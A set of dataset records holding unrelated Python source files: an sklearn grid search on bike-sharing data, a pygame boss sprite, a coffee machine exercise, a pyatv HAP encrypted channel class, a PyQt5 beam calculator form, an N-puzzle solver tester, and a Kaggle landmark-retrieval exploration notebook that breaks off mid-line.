+{"seq_id":"5302065635","text":"\r\n# HalvingGridSearchCV 사용하기\r\n# Sklearn.model_selection에서 제공\r\n\r\nimport pandas as pd\r\nfrom sklearn.datasets import load_diabetes\r\nfrom sklearn.experimental import enable_halving_search_cv \r\nfrom sklearn.model_selection import train_test_split, KFold, HalvingGridSearchCV\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n\r\n\r\n#1. 데이터 분석\r\npath = \"D:/_data/kaggle/bike/\"\r\ntrain = pd.read_csv(path + \"train.csv\") # (10886, 12)\r\ntest_file = pd.read_csv(path + \"test.csv\") # (6493, 9)\r\nsubmit_file = pd.read_csv(path + \"sampleSubmission.csv\") # (6493, 2)\r\n\r\n\r\nx = train.drop(columns=['datetime', 'casual', 'registered', 'count'], axis=1)\r\ny = train['count']\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, train_size=0.8, random_state=1004)\r\n\r\nscaler = MinMaxScaler()\r\nx_train = scaler.fit_transform(x_train)\r\nx_test = scaler.transform(x_test)\r\n\r\n\r\n# Kfold\r\nn_split = 5\r\nkfold = KFold(n_splits=n_split, shuffle=True, random_state=66)\r\n\r\n# parameter\r\nparameter = [\r\n    {'n_estimators' : [100, 200], 'max_depth' : [6, 8, 10, 12]},\r\n    {'max_depth' : [6, 8, 10, 12]},\r\n    {'min_samples_leaf' : [3, 4, 7, 10], 'min_samples_split' : [2, 3, 5, 10]},\r\n    {'min_samples_split' : [2, 3, 5, 10]},\r\n    {'n_jobs' : [-1, 2, 4]}\r\n]\r\n\r\n\r\n# 모델 구성\r\nmodel = HalvingGridSearchCV(RandomForestRegressor(), parameter, cv=kfold, verbose=1, refit=True) \r\n\r\n# 훈련\r\nimport time\r\nstart = time.time()\r\nmodel.fit(x_train, y_train)\r\nend = time.time() - start\r\nprint(\"걸린 시간 : \", round(end, 4))\r\n\r\nprint(\"최적의 매개변수 : \", model.best_estimator_)\r\nprint(\"model.score : \", model.score(x_test, y_test)) \r\n\r\n\r\n'''\r\nn_iterations: 4\r\nn_required_iterations: 4\r\nn_possible_iterations: 4\r\nmin_resources_: 322\r\nmax_resources_: 8708\r\naggressive_elimination: False\r\nfactor: 3\r\n----------\r\niter: 0\r\nn_candidates: 35\r\nn_resources: 322\r\nFitting 5 folds for each of 35 candidates, totalling 175 fits\r\n----------\r\niter: 1\r\nn_candidates: 12\r\nn_resources: 966\r\nFitting 5 folds for each of 12 candidates, totalling 60 fits\r\n----------\r\niter: 2\r\nn_candidates: 4\r\nn_resources: 2898\r\nFitting 5 folds for each of 4 candidates, totalling 20 fits\r\n----------\r\niter: 3\r\nn_candidates: 2\r\nn_resources: 8694\r\nFitting 5 folds for each of 2 candidates, totalling 10 fits\r\n걸린 시간 :  45.2609\r\n최적의 매개변수 :  RandomForestRegressor(min_samples_leaf=10, min_samples_split=3)\r\nmodel.score :  0.3586480859833474\r\n'''","repo_name":"onlydj96/study","sub_path":"ml/m09_HalvingGridSearch9_kaggle_bike.py","file_name":"m09_HalvingGridSearch9_kaggle_bike.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29325000432","text":"import pygame\nimport os\nimport random\nimport math\nfrom app.settings import *\nfrom ldLib.animation.Animation import Animation\nfrom ldLib.collision.collisionMask import CollisionMask\nfrom ldLib.tools.ImageBox import ImageBox\nfrom ldLib.collision.CollisionRules.CollisionWithSolid import CollisionWithSolid\nfrom ldLib.collision.CollisionRules.CollisionWithNothing import CollisionWithNothing\nfrom ldLib.Sprites.Player.IdleState import IdleState\nfrom ldLib.tools.Cooldown import Cooldown\nfrom app.scene.GuardBossScene.GuardBossAI import GuardBossAI\n\nfrom app.sprites.Bullet import Bullet\n\n\nclass GuardBoss(pygame.sprite.Sprite):\n    def __init__(self, x, y, sceneData, max_health=10):\n        super().__init__()\n\n        self.name = \"Billy: Clueless Guard\"\n\n        # Animation\n        self.frameAnimationSpeed = 10\n        imageBase = pygame.image.load(os.path.join('img', 'guard.png'))\n        imageDistracted = pygame.image.load(os.path.join('img', 'guard-distracted.png'))\n        self.imageIdle = [imageBase, imageBase, imageBase, imageDistracted]\n\n        self.animationIdle = Animation(self.imageIdle, self.frameAnimationSpeed, RIGHT, True)\n        self.animation = self.animationIdle\n\n        self.image = self.imageIdle[0]\n        self.facingSide = RIGHT\n\n        self.imageTransparent = pygame.Surface((1, 1), pygame.SRCALPHA)\n\n        self.rect = self.image.get_rect()  # Position centrée du player\n        self.x = x\n        self.y = y\n        self.rect.x = x\n        self.rect.y = y\n        self.previousX = x\n        self.previousY = y\n\n        self.speedx = 0\n        self.speedy = 0\n        self.accx = 1\n        self.accy = 1\n        self.jumpSpeed = 15\n        self.springJumpSpeed = 25\n\n        self.isFrictionApplied = False\n        self.isCollisionApplied = True\n        self.friendly = True\n\n        # Life bar\n        self.maxHealth = 1000\n        self.currentHealth = 1000\n\n        self.rightPressed = False\n        self.leftPressed = False\n        self.upPressed = False\n        self.downPressed = False\n        self.leftShiftPressed = False\n        self.spacePressed = False\n        self.leftMousePressed = False\n        self.rightMousePressed = False\n\n        self.mapData = sceneData\n\n        self.isAlive = True\n\n        self.collisionMask = CollisionMask(self.rect.x, self.rect.y, self.rect.width, self.rect.height)\n        self.collisionRules = []\n        self.collisionRules.append(CollisionWithNothing())  # Gotta be first in the list to work properly\n        self.collisionRules.append(CollisionWithSolid())\n\n        self._state = IdleState()\n        self.AI = GuardBossAI(self, self.mapData)\n        # self.nextState = None\n\n        # Invincibility\n        self.invincibleCooldown = Cooldown(BOSS_INVINCIBILITY_COOLDOWN)\n        self.flashduration = 8\n\n        self.hurtSound = pygame.mixer.Sound(os.path.join('music', 'BossHurt.wav'))\n        self.hurtSound.set_volume(.9)\n\n    def setShapeImage(self):\n        self.imageShapeLeft = pygame.transform.flip(self.imageBase, True, False)\n        self.imageShapeRight = self.imageBase\n\n    def update(self):\n        self.AI.update()\n\n        self.previousX = self.x\n        self.previousY = self.y\n\n        self.moveX()\n        self.moveY()\n        self.rect.x = self.x\n        self.rect.y = self.y\n\n        if self.speedx > 0:\n            self.facingSide = RIGHT\n        elif self.speedx < 0:\n            self.facingSide = LEFT\n\n        # This Boss shouldn't be flipped.\n        self.image = self.animation.update(RIGHT)\n\n        # Replace to make visual flash in invincible mode.\n        if not self.invincibleCooldown.isZero:\n            if self.flashduration - 3 <= self.invincibleCooldown.value % self.flashduration:\n                self.image = self.imageTransparent\n\n        self.updateCollisionMask()\n        self.updateCooldowns()\n        self.updatePressedKeys()\n\n    def moveX(self):\n        self.x += self.speedx\n        self.collisionMask.rect.x = self.x\n        for rule in self.collisionRules:\n            rule.onMoveX(self)\n        self.speedx *= 0.97\n\n    def moveY(self):\n        self.y += self.speedy\n        self.collisionMask.rect.y = self.y\n        for rule in self.collisionRules:\n            rule.onMoveY(self)\n        self.speedy *= 0.97\n\n    def hurt(self, damage):\n        if self.invincibleCooldown.isZero:\n            self.currentHealth -= damage\n            self.checkIfIsAlive()\n            self.invincibleOnHit()\n            self.hurtSound.play()\n\n    def checkIfIsAlive(self):\n        if self.currentHealth <= 0:\n            self.dead()\n\n    def invincibleOnHit(self):\n        self.invincibleCooldown.start()\n\n    def updateCooldowns(self):\n        # For invincibility\n        self.invincibleCooldown.update()\n\n    def updateSpeedRight(self):\n        self.speedx += self.accx\n\n    def updateSpeedLeft(self):\n        self.speedx -= self.accx\n\n    def updateSpeedUp(self):\n        self.speedy -= self.accy\n\n    def updateSpeedDown(self):\n        self.speedy += self.accy\n\n    def updateCollisionMask(self):\n        self.collisionMask.rect.x = self.rect.x\n        self.collisionMask.rect.y = self.rect.y\n\n    def stop(self):\n        self.speedx = 0\n        self.speedy = 0\n\n    def dead(self):\n        self.mapData.GuardBossIsDead()\n        self.isAlive = False\n        self.kill()\n\n    def shoot_at_player(self):\n        x = self.mapData.player.rect.centerx - self.rect.centerx\n        y = self.mapData.player.rect.centery - self.rect.centery\n        angle = math.atan2(y, x)\n        angle_2 = angle + 0.2\n        angle_3 = angle - 0.2\n        angles = [angle, angle_2, angle_3]\n\n        for i in angles:\n            speedx = 2 * math.cos(i)\n            speedy = 2 * math.sin(i)\n            bullet = Bullet(self.rect.centerx, self.rect.centery, speedx, speedy, self.mapData)\n            self.mapData.camera.add(bullet)\n            self.mapData.enemyProjectiles.add(bullet)\n            self.mapData.allSprites.add(bullet)\n\n    def prettyPattern(self, attack_id):\n        x = self.mapData.player.rect.centerx - self.rect.centerx\n        y = self.mapData.player.rect.centery - self.rect.centery\n        if attack_id == 1:\n            angle = math.atan2(y, x)\n            angle_2 = angle + 0.1\n            angle_3 = angle - 0.1\n            angle_4 = angle + 0.3\n            angle_5 = angle - 0.3\n            angles = [angle, angle_2, angle_3, angle_4, angle_5]\n        else:\n            angle = math.atan2(y, x) - 0.3\n            angle_2 = angle - 0.1\n            angle_3 = angle - 0.2\n            angle_4 = angle + 0.6\n            angle_5 = angle + 0.7\n            angle_6 = angle + 0.8\n            angle_7 = angle + 0.9\n            angles = [angle, angle_2, angle_3, angle_4, angle_5, angle_6, angle_7]\n\n\n        for i in angles:\n            speedx = 2 * math.cos(i)\n            speedy = 2 * math.sin(i)\n            bullet = Bullet(self.rect.centerx, self.rect.centery, speedx, speedy, self.mapData)\n            self.mapData.camera.add(bullet)\n            self.mapData.enemyProjectiles.add(bullet)\n            self.mapData.allSprites.add(bullet)\n\n    def aim_for_player(self):\n        target_position = [0, 0]\n        target_position[0] = (self.mapData.player.rect.centerx + (20 * self.mapData.player.speedx))\n        target_position[1] = (self.mapData.player.rect.y + 32 + (20 * self.mapData.player.speedy))\n\n        if target_position[0] < 64:\n            target_position[0] = 64\n        elif target_position[0] > 732:\n            target_position[0] = 732\n        if target_position[1] < 64:\n            target_position[1] = 64\n        elif target_position[1] > 532:\n            target_position[1] = 532\n\n        return target_position\n\n    def onCollision(self, collidedWith, sideOfCollision, limit=0):\n        if collidedWith == SOLID:\n            if sideOfCollision == RIGHT:\n                # On colle le player sur le mur à droite\n                self.x = self.previousX\n                self.rect.x = self.x\n                self.updateCollisionMask()\n                self.speedx = 0\n                self.rect.right += self.mapData.tmxData.tilewidth - (\n                    self.collisionMask.rect.right % self.mapData.tmxData.tilewidth) - 1\n            if sideOfCollision == LEFT:\n                self.x = self.previousX\n                self.rect.x = self.x\n                self.updateCollisionMask()\n                self.speedx = 0\n                self.rect.left -= (\n                    self.collisionMask.rect.left % self.mapData.tmxData.tilewidth)  # On colle le player sur le mur de gauche\n            if sideOfCollision == DOWN:\n                self.y = self.previousY\n                self.rect.y = self.y\n                self.updateCollisionMask()\n                self.speedy = 0\n            if sideOfCollision == UP:\n                self.y = self.previousY\n                self.rect.y = self.y\n                self.updateCollisionMask()\n                self.speedy = 0\n\n                # def notify(self, event):\n                #     self.nextState = self.state.handleInput(self, event)\n\n                # if self.nextState != None:\n                #     self.state.exit(self)\n                #     self.state = self.nextState\n                #     self.state.enter(self)\n                #     self.nextState = None\n\n    # @property\n    # def state(self):\n    #     return self._state\n    #\n    # @state.setter\n    # def state(self, value):\n    #     self._state.exit(self)\n    #     self._state = value\n    #     self._state.enter(self)\n\n\n    def updatePressedKeys(self):\n        if self.rightPressed:\n            self.updateSpeedRight()\n        if self.leftPressed:\n            self.updateSpeedLeft()\n        if self.upPressed:\n            self.updateSpeedUp()\n        if self.downPressed:\n            self.updateSpeedDown()\n        if self.leftMousePressed:\n            pass\n        if self.rightMousePressed:\n            pass\n        if self.leftShiftPressed:\n            pass\n        if self.spacePressed:\n            pass\n\n    def jump(self):\n        self.speedy = -self.jumpSpeed\n","repo_name":"Bobsleigh/LD39","sub_path":"app/scene/GuardBossScene/GuardBoss.py","file_name":"GuardBoss.py","file_ext":"py","file_size_in_byte":10011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"3408827581","text":"MENU = {\n    \"espresso\": {\n        \"ingredients\": {\n            \"water\": 50,\n            \"coffee\": 18,\n        },\n        \"cost\": 1.5,\n    },\n    \"latte\": {\n        \"ingredients\": {\n            \"water\": 200,\n            \"milk\": 150,\n            \"coffee\": 24,\n        },\n        \"cost\": 2.5,\n    },\n    \"cappuccino\": {\n        \"ingredients\": {\n            \"water\": 250,\n            \"milk\": 100,\n            \"coffee\": 24,\n        },\n        \"cost\": 3.0,\n    }\n}\n\nresources = {\n    \"water\": 300,\n    \"milk\": 200,\n    \"coffee\": 100,\n}\n\ndef check_coffee(coffee):\n    \n    if resources['water'] < MENU[coffee]['ingredients']['water']: \n        print(\"Sorry there is not enough water. \")\n        return False\n      \n    if resources[\"coffee\"] < MENU[coffee]['ingredients']['coffee']:\n        print(\"Sorry there is not enough coffee. \") \n        return False  \n     \n    if coffee == 'latte' or coffee == 'cappuccino':\n        if resources[\"milk\"] < MENU[coffee]['ingredients']['milk']:\n            print(\"Sorry there is not enough milk. \")\n            return False\n        else:\n            return True    \n    else:\n        return True\n\ndef check_payment(coffee):\n    print('Please insert coins: ')\n    payment = int(input('How many quarters: ')) * 0.25\n    payment += int(input('How many dimes: ')) * 0.10\n    payment += int(input('How many nickles: ')) * 0.05\n    payment += int(input('How many pennies: ')) * 0.01\n    \n    \n    if payment < MENU[coffee]['cost']:\n        print(\"Sorry that's not enough money. Money refunded.\")\n        return False    \n    \n    else:\n        if 'fundos' not in resources:       \n            resources['fundos'] = MENU[coffee]['cost'] \n        else:\n            resources['fundos'] += MENU[coffee]['cost']                    \n        change = payment - MENU[coffee]['cost']\n        \n        if change == 0:\n            print(\"It's ok\")\n        else:\n            print(f'Here is ${change:.2f} in change')\n                        \n        return True\n\ndef make_coffee(coffee):          \n    resources['water'] -= MENU[coffee]['ingredients']['water']\n    resources[\"coffee\"] -= MENU[coffee]['ingredients']['coffee']\n    try:\n        resources[\"milk\"] -= MENU[coffee]['ingredients']['milk']\n    except:\n        pass\n    \n    print(f'Here is your {coffee} ☕️. Enjoy!')\n\ndef stock():\n    print(f'Water: {resources[\"water\"]} ml\\nMilk: {resources[\"milk\"]} ml\\nCoffee: {resources[\"coffee\"]} g')\n    try:\n        print(f'Money: ${resources[\"fundos\"]}')\n    except:\n        pass\n\nwhile True:           \n    drink = input('What wold you like? (espresso/latte/cappuccino) ')\n    if drink == 'report':\n        stock()\n    \n    elif drink == 'price':\n        print(f'Espresso: ${MENU[\"espresso\"][\"cost\"]:.2f} \\nLatte: ${MENU[\"latte\"][\"cost\"]:.2f}\\nCappuccino: ${MENU[\"cappuccino\"][\"cost\"]:.2f}')\n            \n    elif drink == 'espresso' or drink == 'latte' or drink == 'cappuccino':              \n        if check_coffee(drink) is True:           \n            if check_payment(drink) is True:            \n                make_coffee(drink)\n    elif drink == 'stock up':\n        stock()\n        w = int(input('How many ml of water you want replenish? '))\n        m = int(input('How many ml of milk you want replenish? '))\n        c = int(input('How many g of coffee you want replenish? '))\n        resources['water'] += w\n        resources['milk'] += m\n        resources['coffee'] += c\n        stock()\n        \n    elif drink == 'off':\n        break\n        \n    else:\n        print('Invalid option!')\n","repo_name":"raylonf/100_days_of_code","sub_path":"aulas01a16/coffe_machine.py","file_name":"coffe_machine.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"25727986319","text":"\"\"\"Base class for HAP based channels (connections).\"\"\"\nfrom abc import ABC, abstractmethod\nimport asyncio\nimport logging\nfrom typing import Callable, Optional, Tuple, cast\n\nfrom pyatv import exceptions\nfrom pyatv.auth.hap_pairing import PairVerifyProcedure\nfrom pyatv.auth.hap_session import HAPSession\nfrom pyatv.support import log_binary\nfrom pyatv.support.state_producer import StateProducer\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass AbstractHAPChannel(ABC, StateProducer, asyncio.Protocol):\n    \"\"\"Abstract base class for connections using HAP encryption and segmenting.\"\"\"\n\n    def __init__(self, output_key: bytes, input_key: bytes) -> None:\n        \"\"\"Initialize a new AbstractHAPChannel instance.\"\"\"\n        super().__init__()\n        self.buffer: bytes = b\"\"\n        self.transport: Optional[asyncio.Transport] = None\n        self.session: HAPSession = HAPSession()\n        self.session.enable(output_key, input_key)\n\n    @property\n    def port(self) -> int:\n        \"\"\"Remote connection port number.\"\"\"\n        if self.transport is None:\n            raise exceptions.InvalidStateError(\"not connected\")\n\n        sock = self.transport.get_extra_info(\"socket\")\n        _, dstport = sock.getpeername()\n        return dstport\n\n    def close(self) -> None:\n        \"\"\"Close the channel.\"\"\"\n        if self.transport:\n            self.transport.close()\n            self.transport = None\n\n    def connection_made(self, transport) -> None:\n        \"\"\"Device connection was made.\"\"\"\n        sock = transport.get_extra_info(\"socket\")\n        dstaddr, dstport = sock.getpeername()\n        _LOGGER.debug(\"Connected to %s:%d\", dstaddr, dstport)\n\n        self.transport = transport\n\n    def data_received(self, data: bytes) -> None:\n        \"\"\"Message was received from device.\"\"\"\n        assert self.transport is not None\n\n        log_binary(_LOGGER, \"Received data\", Data=data)\n        decrypt = self.session.decrypt(data)\n        if decrypt:\n            self.buffer += decrypt\n            self.handle_received()\n\n    @abstractmethod\n    def handle_received(self) -> None:\n        \"\"\"Handle received data that was put in buffer.\"\"\"\n\n    def send(self, data: bytes) -> None:\n        \"\"\"Send message to device.\"\"\"\n        assert self.transport is not None\n\n        encrypted = self.session.encrypt(data)\n        log_binary(_LOGGER, \"Sending data\", Encrypted=encrypted)\n        self.transport.write(encrypted)\n\n    def connection_lost(self, exc) -> None:\n        \"\"\"Device connection was dropped.\"\"\"\n        _LOGGER.debug(\"Connection was lost to remote\")\n\n\nasync def setup_channel(\n    factory: Callable[[bytes, bytes], AbstractHAPChannel],\n    verifier: PairVerifyProcedure,\n    address: str,\n    port: int,\n    salt: str,\n    output_info: str,\n    input_info: str,\n) -> Tuple[asyncio.BaseTransport, AbstractHAPChannel]:\n    \"\"\"Set up a new HAP channel and enable encryption.\"\"\"\n    out_key, in_key = verifier.encryption_keys(salt, output_info, input_info)\n\n    loop = asyncio.get_event_loop()\n    transport, protocol = await loop.create_connection(\n        lambda: factory(out_key, in_key),\n        address,\n        port,\n    )\n    return transport, cast(AbstractHAPChannel, protocol)\n","repo_name":"postlund/pyatv","sub_path":"pyatv/auth/hap_channel.py","file_name":"hap_channel.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","stars":762,"dataset":"github-code","pt":"22"}
+{"seq_id":"11818908056","text":"# This Python file uses the following encoding: utf-8\nimport os\nfrom pathlib import Path\nimport sys\nfrom PyQt5 import QtWidgets, uic\n\nforce_units = ['N', 'KN', 'MN']\nforce_unit_values = [1,10**3, 10**6]\nstress_units  = ['Pa', 'KPa', 'Mpa', 'GPa']\nstress_units_values = [1,10**3,10**6,10**9]\nlength_units  = ['m', 'mm', 'cm']\nlength_units_values = [1, 10**-3, 10**-2] \ndistribution_profile = ['rectangular', 'triangle/trapezoidal']\ndirection = ['upwards', 'downwards']\n\nclass MainWindow(QtWidgets.QWidget):\n    def __init__(self,parent_widget):\n        super(MainWindow, self).__init__()\n\n        self.parent_widget = parent_widget \n        uic.loadUi(\"load_input.ui\",self)\n        self.parent_widget.layout().addWidget(self)\n\n        \"\"\" my many attempts at loading the widget into the parent\"\"\"\n        # ui_path = os.path.join(os.path.dirname(__file__), \"load_input.ui\")\n        # self.form = uic.loadUi(ui_path,parent_widget)\n        # uic.loadUi(\"load_input.ui\",self)\n        # parent_widget.layout().addWidget(self)\n\n        self.quantity_unit.addItems(force_units)\n        self.distribution_combo.addItems(distribution_profile)\n        self.direction_input.addItems(direction)\n        self.location_unit.addItems(length_units)\n        self.min_unit.addItems(force_units)\n        self.max_unit.addItems(force_units)\n        self.min_location_unit.addItems(length_units)\n        self.max_location_unit.addItems(length_units)\n        self.support_location_unit.addItems(length_units)\n\n    def setPage(self,mode):\n        \"\"\"Mode = 0 for load and 1 for supports\"\"\"\n        if mode == 0:\n            self.input_page.setCurrentIndex(0)\n        elif mode == 1:\n            self.input_page.setCurrentIndex(1)\n    \n    def inputConfig(self,type):\n        \"\"\" set how the input page should look based on the input type \"\"\"\n        if type != 0:\n            self.distribution_combo.setVisible(False)\n            self.min_input.setVisible(False)\n            self.max_input.setVisible(False)\n            self.min_unit.setVisible(False)\n            self.max_unit.setVisible(False)\n            self.min_label.setVisible(False)\n            self.max_label.setVisible(False)\n            self.max_location_input.setVisible(False)\n            self.min_location_input.setVisible(False)\n            self.max_location_unit.setVisible(False)\n            self.min_location_unit.setVisible(False)\n            self.max_location_label.setVisible(False)\n            self.min_location_label.setVisible(False)\n\n            self.location_input.setVisible(True)\n            self.location_unit.setVisible(True)\n            self.location_label.setVisible(True)\n\n        elif type == 0:\n            self.distribution_combo.setVisible(True)\n            self.min_input.setVisible(True)\n            self.max_input.setVisible(True)\n            self.min_unit.setVisible(True)\n            self.max_unit.setVisible(True)\n            self.min_label.setVisible(True)\n            self.max_label.setVisible(True)\n            \n            self.max_location_input.setVisible(True)\n            self.min_location_input.setVisible(True)\n            self.max_location_unit.setVisible(True)\n            self.min_location_unit.setVisible(True)\n            self.max_location_label.setVisible(True)\n            self.min_location_label.setVisible(True)\n\n            self.location_input.setVisible(False)\n            self.location_unit.setVisible(False)\n            self.location_label.setVisible(False)\n    \n    def process_input(self,mode, mode_config):\n        \"\"\"Mode = 0 for load and 1 for supports, Mode_config = 0 for dist load, 1 for rest\"\"\"\n        if mode == 0:\n            self.quantity = float(self.quantity_input.text()) \n            self.quant_unit = force_unit_values[self.quantity_unit.currentIndex()]\n            if mode_config == 0:\n                self.dist_profile = distribution_profile[self.distribution_combo.currentIndex()]\n                # self.min = <>\n                # self.max = <>\n                # self.min_unit \n            \n\n\n    \n\n    \n        \n\n# app = QtWidgets.QApplication(sys.argv)\n# window = MainWindow()\n# app.exec_()","repo_name":"Varnu01/Beam-Calculator","sub_path":"input_window.py","file_name":"input_window.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18003290865","text":"\nfrom board import *\nfrom solvers import *\nfrom collections import namedtuple\n\nTestSet = namedtuple(\"TestSet\", [\"n\", \"board\"])\n\n###############################################################################\n###### Test Sets ##############################################################\n###############################################################################\n\n# n = 3\ntest_set1 = TestSet(3, [7, 1, 2, 4, 5, 8, 3, 6, 0]) \ntest_set2 = TestSet(3, [7, 0, 2, 1, 4, 8, 5, 3, 6])\ntest_set3 = TestSet(3, [6, 0, 5, 8, 2, 1, 3, 7, 4])\ntest_set4 = TestSet(3, [0, 3, 4, 5, 6, 2, 7, 1, 8])\n\n# n = 4\ntest_set5 = TestSet(4, [1, 9, 2, 10, 11, 7, 4, 6, 13, 5, 3, 15, 0, 8, 14, 12])\ntest_set6 = TestSet(4, [5, 1, 11, 15, 4, 3, 10, 14, 13, 9, 2, 6, 7, 12, 8, 0])\n\ntest_sets_to_use = [test_set5, test_set6]\nsolvers_to_use = [\n                    (UnidirectionalSolver, AStarManhattanHeuristic),\n                    (UnidirectionalSolver, AStarManhattanHeuristicOuterEmphasis)\n                 ]\n\nnames = {}\nstats = [[0, 0] for i in range(len(solvers_to_use))]\nfor test_set in test_sets_to_use:\n    \n    board = Board(test_set.n, test_set.board, random_shifts=0, board_prints=False)\n    \n    for ind, solver_and_heuristic in enumerate(solvers_to_use):\n        \n        solver = solver_and_heuristic[0](board, solver_and_heuristic[1])\n        names[ind] = solver.name()\n\n        num_visited, moves = solver.get_solution()\n        num_moves = len(moves)\n        \n        stats[ind][0] += num_moves\n        stats[ind][1] += num_visited\n\ntotal_tests = len(test_sets_to_use)\n\nprint(\"\\n\\nFinal Testing Results:\")\nfor i in range(len(solvers_to_use)):\n    print(\"Solver Name: {}\".format(names[i]))\n    print(\"Average path size: {}, Average nodes visited: {}\\n\", \\\n            stats[i][0] / total_tests, stats[i][1] / total_tests)\n\n         \n\n\n\n","repo_name":"schiebermc/Game_AI","sub_path":"N-puzzle/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947805818","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load\n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the read-only \"../input/\" directory\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n    for filename in filenames:\n\n        #print(os.path.join(dirname, filename))\n\n        continue\n\n\n\n# You can write up to 5GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n\n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session\n# Content\n\n\n\n\n\nprint('')\n\n\n\n# Size of data\n\n#!du -hs /kaggle/input/landmark-retrieval-2020/train/  # 101 GB\n\n#!du -hs /kaggle/input/landmark-retrieval-2020/test/   # 0.07 GB\n\n#!du -hs /kaggle/input/landmark-retrieval-2020/index/  # 4.9 GB\nfrom pathlib import Path\n\n\n\ndata_path = Path('/kaggle/input/landmark-retrieval-2020/')\n\ntrain_path = data_path / 'train'\n\ntest_path = data_path / 'test'\n\nindex_path = data_path / 'index'\n\n\n\nprint('training_path =', train_path)\n\nprint('test_path     =', test_path)\n\nprint('index_path    =', index_path)\nimport glob\n\ntrain_list = glob.glob('../input/landmark-retrieval-2020/train/*/*/*/*')\n\ntest_list = glob.glob('../input/landmark-retrieval-2020/test/*/*/*/*')\n\nindex_list = glob.glob('../input/landmark-retrieval-2020/index/*/*/*/*')\n\nprint( 'train_images :', len(train_list))\n\nprint( 'test_images  :', len(test_list))\n\nprint( 'index_images :', len(index_list))\n\ntrain = pd.read_csv('../input/landmark-retrieval-2020/train.csv')\n\ntrain.head()\ntrain.shape\ntrain.hist(bins=100)\nimport seaborn as sns\n\nimport matplotlib.pyplot as plt\n\nfig, axs = plt.subplots(figsize=(16,6))\n\n\n\nax = sns.distplot(train['landmark_id'])\n\n\n\nplt.savefig('landmark_id.png', dpi=100)\nfig, axs = plt.subplots(figsize=(16,6))\n\n\n\nax = sns.distplot(train['landmark_id'], \n\n                  rug=False, \n\n                  #rug_kws={\"color\": \"g\"}, \n\n                  kde_kws={\"color\": \"k\", \"lw\": 3, \"label\": \"KDE\"}, \n\n                  hist_kws={\"histtype\": \"step\", \"linewidth\": 3, \"alpha\": 1, \"color\": \"g\"})\n\n\n\nplt.savefig('landmark_id_2.png', dpi=100)\ntrain['landmark_id'].value_counts()\n#train['landmark_id'].value_counts().plot(kind=\"bar\")\n## Top 20 by popularity within dataset\n\n\n\nfig, axs = plt.subplots(figsize=(12,8))\n\n\n\ntrain['landmark_id'].value_counts(sort=True, ascending=False)[:30].plot(kind='barh')\n\n\n\nplt.title('Top 50 by popularity')\n\nplt.xlabel('Number of images', fontsize=14)\n\nplt.ylabel('Landmark', fontsize=14)\n\n\n\nplt.savefig('landmark_id_top30.png', dpi=100)\nimage_count  = train['landmark_id'].value_counts(sort=True, ascending=False)\n\nimage_count = image_count[:30,]\n\n\n\nplt.figure(figsize=(23,6))\n\n\n\nsns.barplot(image_count.index, image_count.values, alpha=0.8)\n\n\n\nplt.title('Images per landmark')\n\nplt.ylabel('Number of images', fontsize=14)\n\nplt.xlabel('Landmark', fontsize=14)\n\n\n\nplt.savefig('landmark_id_top30_vs_images.png', dpi=100)\n\n\n\nplt.show()\nimage_count_all  = train['landmark_id'].value_counts(sort=True, ascending=False)\n\n\n\nprint('landmark_id:')\n\n\n\nprint(image_count_all)\n\n\n\nprint()\n\nprint ('Max images for a given landmark_id: {}'.format(image_count_all.max()))\n\nprint ('Min images for a given landmark_id: {}'.format(image_count_all.min()))\n\n\n\nprint()\n\nprint('Number of unique landmark IDs: {}'.format(len(image_count_all))) # len(image_count_all.index.values)\ndf_image_count_all = pd.DataFrame(image_count_all.reset_index().values, columns=['landmark_id', 'Number' ])\n\ndf_image_count_all_ind = df_image_count_all.sort_index(axis = 0, ascending=True)\n\ndf_image_count_all_ind\ndf_image_count_all[df_image_count_all['Number']<3].count()\ndf_image_count_all[df_image_count_all['Number']<11].count()\ndf_image_count_all[df_image_count_all['Number']<1001].count()\ndf_image_count_all[df_image_count_all['Number']>1001].count()\nnum_list = list(df_image_count_all['Number'])\n\n\n\nfig, axs = plt.subplots(figsize=(23,6))\n\nplt.hist(num_list, density=False, bins=6272, color='green', alpha=0.5)  \n\n\n\naxs.set_xscale('log')\n\n\n\nplt.ylabel('Counts') # Probability if scaled\n\nplt.xlabel('Number of images per Landmark ID')\n\n\n\nplt.savefig('images_per_landmark_id.png', dpi=100)\n\n\n\nplt.show()\nnum_list = list(df_image_count_all['Number'])\n\n\n\nfig, axs = plt.subplots(figsize=(23,6))\n\nplt.hist(num_list, density=False, bins=6272, color='green', alpha=0.5)  \n\n\n\naxs.set_xscale('log')\n\naxs.set_yscale('log')\n\n\n\nplt.ylabel('Counts') # Probability if scaled\n\nplt.xlabel('Number of images per Landmark ID')\n\n\n\nplt.savefig('images_per_landmark_id_2.png', dpi=100)\n\n\n\nplt.show()\n#plt.figure(figsize=(23,6))\n\n\n\nfig, axs = plt.subplots(2,1, figsize=(23,12))\n\n\n\n# Normal version\n\nsns.lineplot(x=df_image_count_all_ind['landmark_id'], y=df_image_count_all_ind['Number'], data=df_image_count_all_ind, color='green', alpha=0.7, 